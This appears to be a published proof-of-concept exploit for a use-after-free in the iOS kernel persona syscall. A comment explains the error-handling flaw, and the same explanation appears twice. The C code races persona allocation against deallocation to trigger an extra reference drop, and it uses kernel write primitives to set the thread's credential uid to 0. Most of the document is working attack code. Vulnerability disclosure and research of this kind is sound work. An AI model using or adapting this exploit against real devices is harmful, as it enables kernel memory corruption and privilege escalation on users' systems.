Apple iOS Kernel - Use-After-Free due to bad Error Handling in Personas

/*
There was recently some cleanup in the persona code to fix some race conditions there, I don't think it was sufficient:

 In kpersona_alloc_syscall if we provide an invalid userspace pointer for the ipd outptr we can cause this copyout to fail:
 
  error = copyout(&persona->pna_id, idp, sizeof(persona->pna_id));
  if (error)
    goto out_error;

This jumps here:
  if (persona)
    persona_put(persona);

At this point the persona is actually in the global list and the reference has been transfered there; this code
is mistakenly assuming that userspace can't still race a dealloc call because it doesn't know the id.

The id is attacker controlled so it's easy to still race this (ie we call persona_alloc in one thread, and dealloc in another),
causing an extra call to persona_put.

It's probably possible to make the failing copyout take a long time,
allowing us to gc and zone-swap the page leading to the code attempting to drop a ref on a different type.
 
This PoC has been tested on iOS 11.3.1 because it requires root. I have taken a look at an iOS 12 beta and it looks like the vuln
is still there, but I cannot test it.
 
It should be easy to fix up this PoC to run as root in your testing environment.
*/

// @i41nbeer

#include "test_next_exploit.h"
#include <unistd.h>
#include <pthread.h>
#include <string.h>

#include "kmem.h"


/*
iOS kernel UaF due to bad error handling in personas
 
There was recently some cleanup in the persona code to fix some race conditions there, I don't think it was sufficient:

 In kpersona_alloc_syscall if we provide an invalid userspace pointer for the ipd outptr we can cause this copyout to fail:
 
  error = copyout(&persona->pna_id, idp, sizeof(persona->pna_id));
  if (error)
    goto out_error;

This jumps here:
  if (persona)
    persona_put(persona);

At this point the persona is actually in the global list and the reference has been transfered there; this code
is mistakenly assuming that userspace can't still race a dealloc call because it doesn't know the id.

The id is attacker controlled so it's easy to still race this (ie we call persona_alloc in one thread, and dealloc in another),
causing an extra call to persona_put.

It's probably possible to make the failing copyout take a long time,
allowing us to gc and zone-swap the page leading to the code attempting to drop a ref on a different type.
 
This PoC has been tested on iOS 11.3.1 because it requires root. I have taken a look at an iOS 12 beta and it looks like the vuln
is still there, but I cannot test it.
 
It should be easy to fix up this PoC to run as root in your testing environment.
*/



#define NGROUPS 16
#define MAXLOGNAME 255

struct kpersona_info {
  uint32_t persona_info_version;
  
  uid_t    persona_id; /* overlaps with UID */
  int      persona_type;
  gid_t    persona_gid;
  uint32_t persona_ngroups;
  gid_t    persona_groups[NGROUPS];
  uid_t    persona_gmuid;
  char     persona_name[MAXLOGNAME+1];
  
  /* TODO: MAC policies?! */
};

enum {
  PERSONA_INVALID = 0,
  PERSONA_GUEST   = 1,
  PERSONA_MANAGED = 2,
  PERSONA_PRIV    = 3,
  PERSONA_SYSTEM  = 4,
  
  PERSONA_TYPE_MAX = PERSONA_SYSTEM,
};

#define PERSONA_OP_ALLOC    1
#define PERSONA_OP_DEALLOC  2
#define PERSONA_OP_GET      3
#define PERSONA_OP_INFO     4
#define PERSONA_OP_PIDINFO  5
#define PERSONA_OP_FIND     6

#define PERSONA_INFO_V1       1

#define PERSONA_SYSCALL_NUMBER 494
int sys_persona(uint32_t operation, uint32_t flags, struct kpersona_info *info, uid_t *id, size_t *idlen) {
  return syscall(PERSONA_SYSCALL_NUMBER, operation, flags, info, id, idlen);
}

void persona_dealloc() {
  uid_t uid = 235;
  size_t uid_size = sizeof(uid);
  int perr = sys_persona(PERSONA_OP_DEALLOC, 0, NULL, &uid, &uid_size);
  printf("dealloc perr: 0x%x\n", perr);
}

void* persona_bad_alloc() {
  // let's try to alloc a persona:
  struct kpersona_info info = {0};
  uid_t kpersona_uid = -123;
  size_t kpersona_uid_size = sizeof(kpersona_uid);
  
  info.persona_info_version = PERSONA_INFO_V1;
  strcpy(info.persona_name, "a_name2");
  
  info.persona_id = 235;
  info.persona_type = PERSONA_GUEST;
  
  int perr = sys_persona(PERSONA_OP_ALLOC, 0, &info, NULL/*&kpersona_uid*/, &kpersona_uid_size);
  printf("err: %x\n", perr);
  printf("kpersona_uid: %d\n", kpersona_uid);
  
  return NULL;
}

void* dealloc_thread_func(void* arg) {
  int uid = getuid();
  printf("dealloc thread uid: %d\n", uid);
  // got r00t?
  while(1) {
    persona_dealloc();
  }
}

void* alloc_thread_func(void* arg) {
  int uid = getuid();
  printf("alloc_thread uid: %d\n", uid);
  // got r00t?
  while(1) {
    persona_bad_alloc();
  }
}

void go(uint64_t thread_t) {
  uint64_t bsd_thread_info = rk64(thread_t + 0x388);
  uint64_t cred_t = rk64(bsd_thread_info + 0x160);
  
  // uid:=0
  wk32(cred_t+0x18, 0);
  wk32(cred_t+0x1c, 0);
  
  pthread_t dealloc_thread;
  pthread_create(&dealloc_thread, NULL, dealloc_thread_func, NULL);
  
  pthread_t alloc_thread;
  pthread_create(&alloc_thread, NULL, alloc_thread_func, NULL);
  
  pthread_join(dealloc_thread, NULL);
}